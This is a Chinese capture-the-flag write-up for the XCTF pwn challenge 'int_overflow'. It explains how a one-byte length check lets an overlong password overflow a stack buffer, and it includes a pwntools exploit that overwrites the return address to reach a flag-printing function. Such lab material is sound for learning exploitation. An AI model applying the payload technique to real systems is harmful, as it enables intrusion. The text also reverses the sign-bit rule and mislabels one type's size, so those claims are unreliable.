攻防世界—pwn—int_overflow


題目分析

checksec檢查文件保護機制

ida分析程序




經典整數溢出漏洞示例

整數溢出原理整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數最高位為1,負數為0,
無符號數取值范圍為非負數,常見各類型占用字節數如下:
類型   占用字節數      取值范圍
Int          4      -2147483648~2147483647
Short int    2      -32768~32767
Long int     4      -2147483648~2147483647
Unsigned int 4      0~4294967295
Unsigned short int 2    0~65535
Unsigned short int 4     0~4294967295
對於unsigned short int類型的兩個變量var1、var2假定取值var1 = 1,var2 = 65537

也就是說,對於一個2字節的Unsigned short int型變量,它的有效數據長度為兩個字節,當它的數據長度超過兩個字節時,
就溢出,溢出的部分則直接忽略,使用相關變量時,使用的數據僅為最后2個字節,
因此就會出現65537等於1的情況,其他類型變量和數值與之類似

信息收集

char dest; // [sp+4h] [bp-14h]@3
unsigned __int8 v3; // [sp+Fh] [bp-9h]@1

0x14+4為偏移量,4個大小是需要覆蓋的ebp的地址
0x804868b為cat flag地址

"A"*(256-0x18-4)+"a"*4是為了讓v3溢出

編寫腳本

from pwn import *

p = remote('111.198.29.45',41419)
#p = process("./pwn005")

payload = "A"*0x14+"B"*4+p32(0x804868b)+"A"*(256-0x18-4)+"a"*4

p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","root")
p.sendlineafter("Please input your passwd:",payload)

p.interactive()

本地測試

靶機測試

原理(來自大佬的wp)

進入login函數:接受了一個最大長度為0x199的password
進入check_passwd函數:用一個一字節,8bit的變量存儲password的長度,
之后存在一個字符串拷貝,拷貝目的地在棧中,長度為14h,及0x14,十進制20,
結合前面溢出原理分析,0x199(十進制409)的長度遠大於1字節,
也就是說,這里存在證書溢出,password字符串的長度可以是3-  8個字符,也可以是259-264個字符
可以在字符串拷貝過程中,輸入0x14個字符之后,就可以覆蓋函數返回地址了,具體是不是0x14個字符,
在字符串拷貝之前,先把拷貝的源地址和目的地址壓入堆棧,這里似乎沒有任何問題,
查看整個函數的匯編代碼,就會發現,在函數最開始,壓入了ebp變量,在函數結尾,存在一條leave指令,
而在32位程序中,leave指令等於mov esp,ebp和pop ebp兩條指令的組合,
也就是說,在覆蓋函數放回地址之前,還有一次出棧操作,出棧數據大小4字節,
即覆蓋之前還需將這4字節覆蓋了,才能實現跳轉指向what_is_this函數,
編寫利用腳本如下:259-264之間隨機選擇一個數,
這里取262,264-0x14-4-  4=234 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM